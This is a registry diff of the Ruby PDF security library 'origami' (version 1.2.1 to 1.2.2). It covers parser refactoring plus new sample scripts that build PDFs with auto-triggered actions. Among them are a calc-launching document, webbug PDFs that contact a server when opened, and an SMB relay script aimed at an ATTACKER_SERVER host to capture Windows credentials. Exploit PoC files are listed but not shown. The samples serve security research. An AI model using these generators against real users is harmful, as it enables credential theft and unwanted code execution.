origami 1.2.1 → 1.2.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (121) hide show
  1. data/README +1 -1
  2. data/bin/gui/hexview.rb +1 -1
  3. data/bin/gui/menu.rb +4 -4
  4. data/bin/gui/textview.rb +6 -4
  5. data/bin/gui/treeview.rb +4 -4
  6. data/bin/gui/walker.rb +1 -1
  7. data/bin/pdf2graph +1 -1
  8. data/bin/pdf2pdfa +1 -1
  9. data/bin/pdf2ruby +1 -1
  10. data/bin/pdfcocoon +1 -1
  11. data/bin/pdfcop +1 -1
  12. data/bin/pdfdecompress +1 -1
  13. data/bin/pdfdecrypt +1 -1
  14. data/bin/pdfencrypt +1 -1
  15. data/bin/pdfextract +75 -14
  16. data/bin/pdfmetadata +1 -1
  17. data/bin/shell/.irbrc +1 -1
  18. data/{origami.rb → lib/origami.rb} +3 -3
  19. data/{origami → lib/origami}/3d.rb +0 -0
  20. data/{origami → lib/origami}/acroform.rb +2 -2
  21. data/{origami → lib/origami}/actions.rb +0 -0
  22. data/{origami → lib/origami}/annotations.rb +0 -0
  23. data/{origami → lib/origami}/array.rb +0 -0
  24. data/{origami → lib/origami}/boolean.rb +0 -0
  25. data/{origami → lib/origami}/catalog.rb +0 -0
  26. data/{origami → lib/origami}/destinations.rb +0 -0
  27. data/{origami → lib/origami}/dictionary.rb +0 -0
  28. data/{origami → lib/origami}/docmdp.rb +0 -0
  29. data/{origami → lib/origami}/encryption.rb +9 -7
  30. data/{origami → lib/origami}/export.rb +0 -0
  31. data/lib/origami/extensions/fdf.rb +257 -0
  32. data/{origami/adobe → lib/origami/extensions}/ppklite.rb +3 -1
  33. data/{origami → lib/origami}/file.rb +0 -0
  34. data/{origami → lib/origami}/filters.rb +0 -0
  35. data/{origami → lib/origami}/filters/ascii.rb +0 -0
  36. data/{origami → lib/origami}/filters/ccitt.rb +0 -1
  37. data/{origami → lib/origami}/filters/crypt.rb +0 -0
  38. data/{origami → lib/origami}/filters/dct.rb +0 -0
  39. data/{origami → lib/origami}/filters/flate.rb +0 -0
  40. data/{origami → lib/origami}/filters/jbig2.rb +0 -0
  41. data/{origami → lib/origami}/filters/jpx.rb +0 -0
  42. data/{origami → lib/origami}/filters/lzw.rb +0 -0
  43. data/{origami → lib/origami}/filters/predictors.rb +0 -0
  44. data/{origami → lib/origami}/filters/runlength.rb +0 -0
  45. data/{origami → lib/origami}/font.rb +0 -0
  46. data/{origami → lib/origami}/functions.rb +0 -0
  47. data/{origami → lib/origami}/graphics.rb +0 -0
  48. data/{origami → lib/origami}/graphics/colors.rb +45 -23
  49. data/{origami → lib/origami}/graphics/instruction.rb +0 -0
  50. data/{origami → lib/origami}/graphics/path.rb +0 -0
  51. data/{origami → lib/origami}/graphics/patterns.rb +0 -0
  52. data/{origami → lib/origami}/graphics/render.rb +0 -0
  53. data/{origami → lib/origami}/graphics/state.rb +2 -2
  54. data/{origami → lib/origami}/graphics/text.rb +0 -0
  55. data/{origami → lib/origami}/graphics/xobject.rb +219 -0
  56. data/{origami → lib/origami}/header.rb +0 -0
  57. data/{origami → lib/origami}/javascript.rb +0 -0
  58. data/{origami → lib/origami}/linearization.rb +0 -0
  59. data/{origami → lib/origami}/metadata.rb +0 -0
  60. data/{origami → lib/origami}/name.rb +0 -0
  61. data/{origami → lib/origami}/null.rb +0 -0
  62. data/{origami → lib/origami}/numeric.rb +0 -0
  63. data/{origami → lib/origami}/obfuscation.rb +0 -0
  64. data/{origami → lib/origami}/object.rb +7 -2
  65. data/{origami → lib/origami}/outline.rb +0 -0
  66. data/{origami → lib/origami}/outputintents.rb +0 -0
  67. data/{origami → lib/origami}/page.rb +0 -0
  68. data/{origami → lib/origami}/parser.rb +76 -51
  69. data/{origami → lib/origami}/parsers/fdf.rb +9 -6
  70. data/{origami/parsers/pdf/linear.rb → lib/origami/parsers/pdf.rb} +31 -39
  71. data/lib/origami/parsers/pdf/linear.rb +84 -0
  72. data/lib/origami/parsers/ppklite.rb +93 -0
  73. data/{origami → lib/origami}/pdf.rb +6 -3
  74. data/{origami → lib/origami}/reference.rb +0 -0
  75. data/{origami → lib/origami}/signature.rb +170 -19
  76. data/{origami → lib/origami}/stream.rb +9 -0
  77. data/{origami → lib/origami}/string.rb +0 -0
  78. data/{origami → lib/origami}/trailer.rb +0 -0
  79. data/{origami → lib/origami}/webcapture.rb +0 -0
  80. data/{origami → lib/origami}/xfa.rb +0 -0
  81. data/{origami → lib/origami}/xreftable.rb +3 -7
  82. data/samples/README.txt +45 -0
  83. data/samples/actions/launch/calc.rb +87 -0
  84. data/samples/actions/launch/winparams.rb +22 -0
  85. data/samples/actions/loop/loopgoto.rb +24 -0
  86. data/samples/actions/loop/loopnamed.rb +21 -0
  87. data/samples/actions/named/named.rb +31 -0
  88. data/samples/actions/samba/smbrelay.rb +26 -0
  89. data/samples/actions/triggerevents/trigger.rb +75 -0
  90. data/samples/actions/webbug/submitform.js +26 -0
  91. data/samples/actions/webbug/webbug-browser.rb +68 -0
  92. data/samples/actions/webbug/webbug-js.rb +67 -0
  93. data/samples/actions/webbug/webbug-reader.rb +90 -0
  94. data/samples/attachments/attach.rb +40 -0
  95. data/samples/attachments/attached.txt +1 -0
  96. data/samples/crypto/crypto.rb +28 -0
  97. data/samples/digsig/signed.rb +46 -0
  98. data/samples/exploits/cve-2008-2992-utilprintf.rb +87 -0
  99. data/samples/exploits/cve-2009-0927-geticon.rb +65 -0
  100. data/samples/exploits/exploit_customdictopen.rb +55 -0
  101. data/samples/exploits/getannots.rb +69 -0
  102. data/samples/flash/flash.rb +31 -0
  103. data/samples/flash/helloworld.swf +0 -0
  104. data/samples/javascript/attached.txt +1 -0
  105. data/samples/javascript/js.rb +52 -0
  106. data/{tests → test}/ts_pdf.rb +1 -1
  107. metadata +109 -95
  108. data/origami/adobe/fdf.rb +0 -259
  109. data/origami/parsers/pdf.rb +0 -27
  110. data/origami/parsers/ppklite.rb +0 -86
  111. data/tests/dataset/test.dummycrt +0 -28
  112. data/tests/dataset/test.dummykey +0 -27
  113. data/tests/tc_actions.rb +0 -32
  114. data/tests/tc_annotations.rb +0 -85
  115. data/tests/tc_pages.rb +0 -37
  116. data/tests/tc_pdfattach.rb +0 -24
  117. data/tests/tc_pdfencrypt.rb +0 -110
  118. data/tests/tc_pdfnew.rb +0 -32
  119. data/tests/tc_pdfparse.rb +0 -98
  120. data/tests/tc_pdfsig.rb +0 -37
  121. data/tests/tc_streams.rb +0 -129
@@ -92,6 +92,15 @@ module Origami
92
92
 
93
93
  super
94
94
  end
95
+
96
+ def method_missing(field, *args) #:nodoc:
97
+ if field.to_s[-1,1] == '='
98
+ self[field.to_s[0..-2].to_sym] = args.first
99
+ else
100
+ obj = self[field];
101
+ obj.is_a?(Reference) ? obj.solve : obj
102
+ end
103
+ end
95
104
 
96
105
  def self.parse(stream) #:nodoc:
97
106
 
File without changes
File without changes
File without changes
File without changes
@@ -65,7 +65,7 @@ module Origami
65
65
  USED = "n"
66
66
  FIRSTFREE = 65535
67
67
 
68
- @@regexp = /(\d{10}) (\d{5}) (n|f)(\r| )\n/
68
+ @@regexp = /(\d{10}) (\d{5}) (n|f)(\r\n| \r| \n)/
69
69
 
70
70
  attr_accessor :offset, :generation, :state
71
71
 
@@ -76,9 +76,7 @@ module Origami
76
76
  # _state_:: The state of the referenced Object (FREE or USED).
77
77
  #
78
78
  def initialize(offset, generation, state)
79
-
80
79
  @offset, @generation, @state = offset, generation, state
81
-
82
80
  end
83
81
 
84
82
  def self.parse(stream) #:nodoc:
@@ -155,9 +153,9 @@ module Origami
155
153
  size = stream[2].to_i
156
154
 
157
155
  xrefs = []
158
- size.times {
156
+ size.times do
159
157
  xrefs << XRef.parse(stream)
160
- }
158
+ end
161
159
 
162
160
  XRef::Subsection.new(start, xrefs)
163
161
  end
@@ -315,8 +313,6 @@ module Origami
315
313
  include Enumerable
316
314
  include StandardObject
317
315
 
318
- attr_reader :xrefs
319
-
320
316
  #
321
317
  # Xref fields
322
318
  #
@@ -0,0 +1,45 @@
1
+ :: SUBDIRECTORIES
2
+ =================
3
+
4
+ ``attachments/``
5
+ * Adding a file attachment to a PDF document.
6
+
7
+ ``crypto/``
8
+ * PDF encryption (supports RC4 40-128 bits, and AES128).
9
+ - crypto.rb : Create a simple encrypted document.
10
+ - encrypt.rb : Encrypt an existing document.
11
+
12
+ ``digsig/``
13
+ * PDF digital signatures. Create a new document and signs it with test.key.
14
+
15
+ ``exploits/``
16
+ * Basic exploits PoC generation.
17
+
18
+ ``flash/``
19
+ * PDF with Flash object. Create a document with an embedded SWF file.
20
+
21
+ ``actions/launch/``
22
+ * Launch action. Create a document launching the calculator on Windows, Unix and MacOS.
23
+
24
+ ``actions/loop/``
25
+ * Create a looping document using GoTo and Named actions (see also moebius in the scripts directory).
26
+
27
+ ``actions/named/``
28
+ * Named action. Create a document prompting for printing.
29
+
30
+ ``actions/triggerevents/``
31
+ * Create a document launching JS scripts on various events.
32
+
33
+ ``actions/webbug/``
34
+ * Create a document connecting to a remote server.
35
+ - webbug-browser.rb : Connection using a URI action.
36
+ - webbug-reader.rb : Connection using a SubmitForm action.
37
+ - webbug-js.rb : Connection using JS script.
38
+
39
+ ``actions/samba/``
40
+ * Implementation of a SMB relay attack using PDF. When opened in a
41
+ browser on Windows, the document tries to access a document shared
42
+ on a malicious SMB server (on a LAN). The server will then be able
43
+ to steal user credentials. This script merely forges the malicious
44
+ PDF document.
45
+
@@ -0,0 +1,87 @@
1
+ #!/usr/bin/ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
13
+
14
+ puts "Generating a pdf launching calc on several OS!!"
15
+
16
+ pdf = PDF.new
17
+
18
+ #�Reader7.0 �
19
+ #�A popup firstly says it cannot open the specified file. Then the
20
+ #�file is opened once the "Open" button is clicked...
21
+
22
+ # Reader8.0
23
+ #�It "opens" the file, but does not execute it. By default, it seems
24
+ # it is passed to the default browser.
25
+ # Only local files can be opened this way.
26
+ #�If the file does not exist, it displays the content of the current
27
+ # directory
28
+
29
+ cmd = FileSpec.new
30
+ cmd.Unix = "/usr/bin/xcalc"
31
+ cmd.Mac = "/Applications/Calculator.app"
32
+ cmd.DOS = "C:\\\\WINDOWS\\\\system32\\\\calc.exe"
33
+
34
+ action = Action::Launch.new
35
+ action.F = cmd
36
+
37
+ pdf.onDocumentOpen( action )
38
+
39
+ contents = ContentStream.new
40
+ contents.write OUTPUTFILE,
41
+ :x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
42
+
43
+ contents.write "This page is empty but it should start calc :-D",
44
+ :x => 233, :y => 690, :rendering => Text::Rendering::FILL, :size => 15, :color => Graphics::Color::RGB.new(0, 150, 0)
45
+
46
+ contents.write "Dont be afraid of the pop-ups, just click them...",
47
+ :x => 233, :y => 670, :size => 15
48
+
49
+ contents.write "Comments:",
50
+ :x => 75, :y => 620, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14
51
+
52
+ content = <<-EOS
53
+ Windows:
54
+ - Foxit 2: runs calc.exe at the document opening without any user confirmation message (!)
55
+ - Acrobat Reader *:
56
+ 1. popup proposing to open \"calc.exe\" (warning)
57
+ 2. starts \"calc.exe\"
58
+
59
+ Mac:
60
+ - Preview does not support PDF keyword /Launch
61
+ - Acrobat Reader 8.1.2: starts Calculator.app
62
+
63
+ Linux:
64
+ ! Assumes xcalc is in /usr/bin/xcalc
65
+ - poppler: does not support PDF keyword /Launch
66
+ - Acrobat Reader 7:
67
+ 1. popup telling it can not open \"xcalc\" (dumb reasons)
68
+ 2. popup proposing to open \"xcalc\" (warning)
69
+ 3. starts \"xcalc\"
70
+ - Acrobat Reader 8.1.2: based on xdg-open
71
+ - if you are running KDE, Gnome or xfce, xcalc is started after a popup
72
+ - otherwise, your brower is started and tries to download \"xcalc\"
73
+
74
+ Note:
75
+ For Linux and Mac, no argument can be given to the command...
76
+
77
+ EOS
78
+
79
+ contents.write content,
80
+ :x => 75, :y => 600, :rendering => Text::Rendering::FILL
81
+
82
+ page = Page.new.setContents( contents )
83
+ pdf.append_page( page )
84
+
85
+ pdf.save(OUTPUTFILE)
86
+ puts "PDF file saved as #{OUTPUTFILE}."
87
+
@@ -0,0 +1,22 @@
1
+ #!/usr/bin/ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
13
+
14
+ params = Action::Launch::WindowsLaunchParams.new
15
+ params.F = "C:\\\\WINDOWS\\\\system32\\\\notepad.exe" # application or document to launch
16
+ params.D = "C:\\\\WINDOWS\\\\system32" # new current directory
17
+ params.P = "test.txt" # parameter to pass if F is an application
18
+
19
+ action = Action::Launch.new
20
+ action.Win = params
21
+
22
+ PDF.new.onDocumentOpen( action ).save(OUTPUTFILE)
@@ -0,0 +1,24 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG )
13
+
14
+ index = 1
15
+ pages = pdf.pages
16
+
17
+ pages.each do |page|
18
+ page.onOpen(Action::GoTo.new(Destination::GlobalFit.new pages[index % pages.size].reference))
19
+
20
+ index = index + 1
21
+ end
22
+
23
+ pdf.save("loopgoto_sample.pdf")
24
+
@@ -0,0 +1,21 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG )
13
+
14
+ pages = pdf.pages
15
+
16
+ pages.each do |page|
17
+ page.onOpen(Action::Named.new(Action::Named::NEXTPAGE)) unless page == pages.last
18
+ end
19
+ pages.last.onOpen(Action::Named.new(Action::Named::FIRSTPAGE))
20
+
21
+ pdf.save("loopnamed_sample.pdf")
@@ -0,0 +1,31 @@
1
+ #!/usr/bin/ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
13
+
14
+ puts "Now generating a new PDF file from scratch!"
15
+
16
+ pdf = PDF.new
17
+
18
+ page = Page.new
19
+
20
+ contents = ContentStream.new
21
+ contents.write OUTPUTFILE,
22
+ :x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
23
+
24
+ page.Contents = contents
25
+ pdf.append_page(page)
26
+
27
+ pdf.onDocumentOpen Action::Named.new(Action::Named::PRINT)
28
+
29
+ pdf.save(OUTPUTFILE)
30
+
31
+ puts "PDF file saved as #{OUTPUTFILE}."
@@ -0,0 +1,26 @@
1
+ #!/usr/bin/ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ #
13
+ # SMB relay attack.
14
+ # Uses a GoToR action to open a shared network directory.
15
+ #
16
+
17
+ ATTACKER_SERVER = "localhost"
18
+
19
+ pdf = PDF.read(ARGV[0])
20
+
21
+ dst = ExternalFile.new("\\\\#{ATTACKER_SERVER}\\origami\\owned.pdf")
22
+ gotor = Action::GoToR.new(dst, Destination::GlobalFit.new(0), true)
23
+ pdf.pages.first.onOpen(gotor)
24
+
25
+ pdf.save("#{File.basename($0, '.rb')}.pdf")
26
+
@@ -0,0 +1,75 @@
1
+ #!/usr/bin/ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
13
+
14
+ puts "Now generating a new PDF file from scratch!"
15
+
16
+ pdf = PDF.new
17
+
18
+ page = Page.new
19
+
20
+ contents = ContentStream.new
21
+ contents.write "Pass your mouse over the yellow square",
22
+ :x => 250, :y => 750, :size => 15
23
+
24
+ page.setContents( contents )
25
+
26
+ onpageopen = Action::JavaScript.new "app.alert('Page Opened');"
27
+ onpageclose = Action::JavaScript.new "app.alert('Page Closed');"
28
+ ondocumentopen = Action::JavaScript.new "app.alert('Document is opened');"
29
+ ondocumentclose = Action::JavaScript.new "app.alert('Document is closing');"
30
+ onmouseover =Action::JavaScript.new "app.alert('Mouse over');"
31
+ onmouseleft =Action::JavaScript.new "app.alert('Mouse left');"
32
+ onmousedown = Action::JavaScript.new "app.alert('Mouse down');"
33
+ onmouseup = Action::JavaScript.new "app.alert('Mouse up');"
34
+ onparentopen = Action::JavaScript.new "app.alert('Parent page has opened');"
35
+ onparentclose = Action::JavaScript.new "app.alert('Parent page has closed');"
36
+ onparentvisible = Action::JavaScript.new "app.alert('Parent page is visible');"
37
+ onparentinvisible = Action::JavaScript.new "app.alert('Parent page is no more visible');"
38
+ namedscript = Action::JavaScript.new "app.alert('Names directory script');"
39
+
40
+ pdf.onDocumentOpen(ondocumentopen)
41
+ pdf.onDocumentClose(ondocumentclose)
42
+ page.onOpen(onpageopen).onClose(onpageclose)
43
+
44
+ pdf.register(Names::Root::JAVASCRIPT, "test", namedscript)
45
+
46
+ rect_coord = Rectangle[:llx => 350, :lly => 700, :urx => 415, :ury => 640]
47
+
48
+ # Just draw a yellow rectangle.
49
+ rect = Annotation::Square.new
50
+ rect.Rect = rect_coord
51
+ rect.IC = [ 255, 255, 0 ]
52
+
53
+ # Creates a new annotation which will catch mouse actions.
54
+ annot = Annotation::Screen.new
55
+ annot.Rect = rect_coord
56
+
57
+ # Bind the scripts to numerous triggers.
58
+ annot.onMouseOver(onmouseover)
59
+ annot.onMouseOut(onmouseleft)
60
+ annot.onMouseDown(onmousedown)
61
+ annot.onMouseUp(onmouseup)
62
+ annot.onPageOpen(onparentopen)
63
+ annot.onPageClose(onparentclose)
64
+ annot.onPageVisible(onparentvisible)
65
+ annot.onPageInvisible(onparentinvisible)
66
+
67
+ page.add_annot(annot)
68
+ page.add_annot(rect)
69
+
70
+ pdf.append_page(page)
71
+
72
+ # Save the resulting file.
73
+ pdf.save(OUTPUTFILE)
74
+
75
+ puts "PDF file saved as #{OUTPUTFILE}."
@@ -0,0 +1,26 @@
1
+ try
2
+ {
3
+
4
+ app.alert("First, I try to launch your browser :)");
5
+ app.launchURL("http://localhost/webbug-browser.html");
6
+
7
+ }
8
+ catch(e)
9
+ {
10
+ }
11
+
12
+ try
13
+ {
14
+ app.alert("Now I try to connect to the website, through your Reader");
15
+
16
+ this.submitForm(
17
+ {
18
+ cURL: "http://localhost/webbug-reader.php",
19
+ bAnnotations: true,
20
+ bGet: true,
21
+ cSubmitAs: "XML"
22
+ });
23
+ }
24
+ catch(e)
25
+ {
26
+ }
@@ -0,0 +1,68 @@
1
+ #!/usr/bin/ruby
2
+
3
+ begin
4
+ require 'origami'
5
+ rescue LoadError
6
+ ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
+ $: << ORIGAMIDIR
8
+ require 'origami'
9
+ end
10
+ include Origami
11
+
12
+ OUTPUTFILE = "webbug-browser.pdf"
13
+
14
+ puts "Now generating a new bugged PDF file from scratch!"
15
+
16
+ URL = "http://localhost/webbug-browser.html"
17
+
18
+ pdf = PDF.new
19
+
20
+ contents = ContentStream.new
21
+ contents.write "webbug-browser.pdf",
22
+ :x => 270, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
23
+
24
+ contents.write "When opened, this PDF connects to \"home\"",
25
+ :x => 156, :y => 690, :rendering => Text::Rendering::FILL, :size => 15
26
+
27
+ contents.write "Click \"Allow\":",
28
+ :x => 156, :y => 670, :size => 12
29
+
30
+ contents.write " 1. Starts your default browser",
31
+ :x => 156, :y => 650, :size => 12
32
+
33
+ contents.write " 1. Connects to #{URL}",
34
+ :x => 156, :y => 630, :size => 12
35
+
36
+ contents.write "Comments:",
37
+ :x => 75, :y => 580, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14
38
+
39
+ content = <<-EOS
40
+ Windows:
41
+ - Foxit : opens the default browser without any user confirmation (!)
42
+ - Acrobat Reader 8: a pop-up spreads asking if it can connect, then Internet Explorer is connected.
43
+
44
+
45
+ Mac:
46
+ - Preview: nothing happens
47
+ - Acrobat Reader 8: a pop-up spreads asking if it can connect, then Safari is connected
48
+
49
+ Linux:
50
+ - poppler: nothing happens
51
+ - Acrobat Reader [7, 8]: a pop-up spreads asking if it can connect
52
+
53
+
54
+ EOS
55
+
56
+ contents.write content,
57
+ :x => 75, :y => 560, :rendering => Text::Rendering::FILL
58
+
59
+
60
+ page = Page.new.setContents( contents )
61
+ pdf.append_page(page)
62
+
63
+ # Starting action
64
+ pdf.onDocumentOpen Action::URI.new(URL)
65
+
66
+ pdf.save(OUTPUTFILE)
67
+
68
+ puts "PDF file saved as #{OUTPUTFILE}."